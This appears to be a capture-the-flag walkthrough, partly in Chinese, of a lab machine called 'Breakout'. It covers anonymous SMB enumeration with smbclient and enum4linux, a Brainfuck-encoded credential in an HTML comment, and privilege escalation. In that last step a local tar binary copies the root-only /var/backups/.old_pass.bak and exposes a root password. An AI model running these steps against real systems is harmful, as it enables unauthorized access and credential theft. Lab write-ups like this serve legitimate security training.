<!-- don't worry no one will get here, it's safe to share with you my access. Its encrypted :) ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->
Kal ddddx ~ ❯ smbclient -L \\192.168.108.131 -N at 20:02:14 Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. Protocol negotiation to server 192.168.108.131 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available
Kal ddddx ~ ❯ smbclient -L //192.168.108.131 -N --option='client min protocol=SMB2' --option='client max protocol=SMB3'
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) SMB1 disabled -- no workgroup available
发现两个共享文件夹,尝试枚举,首先print
1 2
Kal ddddx ~ ❯ smbclient //192.168.108.131/print$ -N --option='client min protocol=SMB2' --option='client max protocol=SMB3' tree connect failed: NT_STATUS_ACCESS_DENIED
Kal ddddx ~ ❯ smbclient //192.168.108.131/IPC$ -N --option='client min protocol=SMB2' --option='client max protocol=SMB3' Try "help" to get a list of possible commands. smb: \>
==========================( Enumerating Workgroup/Domain on 192.168.108.131 )==========================
[+] Got domain/workgroup name: WORKGROUP
==============================( Nbtstat Information for 192.168.108.131 )==============================
Looking up status of 192.168.108.131 BREAKOUT <00> - B <ACTIVE> Workstation Service BREAKOUT <03> - B <ACTIVE> Messenger Service BREAKOUT <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.108.131 )==================================
[+] Server 192.168.108.131 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.108.131 )===============================
Domain Name: WORKGROUP Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup =================================( OS information on 192.168.108.131 )================================= [E] Can't get OS info with smbclient
[+] Got OS info for 192.168.108.131 from srvinfo: BREAKOUT Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian platform_id : 500 os version : 6.1 server type : 0x809a03
======================================( Users on 192.168.108.131 )======================================
Use of uninitialized value $usersinprint at ./enum4linux.pl line 972. Use of uninitialized value $usersin pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $usersinprint at ./enum4linux.pl line 986. Use of uninitialized value $usersin pattern match (m//) at ./enum4linux.pl line 988.
================================( Share Enumeration on 192.168.108.131 )================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) Reconnecting with SMB1 for workgroup listing. Protocol negotiation to server 192.168.108.131 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available
[cyber@breakout ~]$ cd /var/backups/ [cyber@breakout backups]$ ls -al total 480 drwxr-xr-x 2 root root 4096 May 20 06:25 . drwxr-xr-x 14 root root 4096 Oct 19 2021 .. -rw-r--r-- 1 root root 40960 May 20 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 12732 Oct 19 2021 apt.extended_states.0 -rw-r--r-- 1 root root 0 May 20 06:25 dpkg.arch.0 -rw-r--r-- 1 root root 186 Oct 19 2021 dpkg.diversions.0 -rw-r--r-- 1 root root 135 Oct 19 2021 dpkg.statoverride.0 -rw-r--r-- 1 root root 413488 Oct 19 2021 dpkg.status.0 -rw------- 1 root root 17 Oct 20 2021 .old_pass.bak [cyber@breakout backups]$ cd ~ [cyber@breakout ~]$ ./tar -cvf pass.tar /var/backups/.old_pass.bak ./tar: Removing leading `/' from member names /var/backups/.old_pass.bak [cyber@breakout ~]$ tar -xvf pass.tar var/backups/.old_pass.bak [cyber@breakout ~]$ cat var/backups/.old_pass.bak Ts&4&YurgtRX(=~h
拿到root密码尝试登录,发现一到输入密码就打断,无法直接登录
1 2 3 4 5 6 7 8
[cyber@breakout ~]$ su Password: su: Authentication failure [cyber@breakout ~]$ su Password: su: Authentication failure [cyber@breakout ~]$ su Password: su: Authentication failure [cyber@breakout ~]$ su Password: su: Authentication failur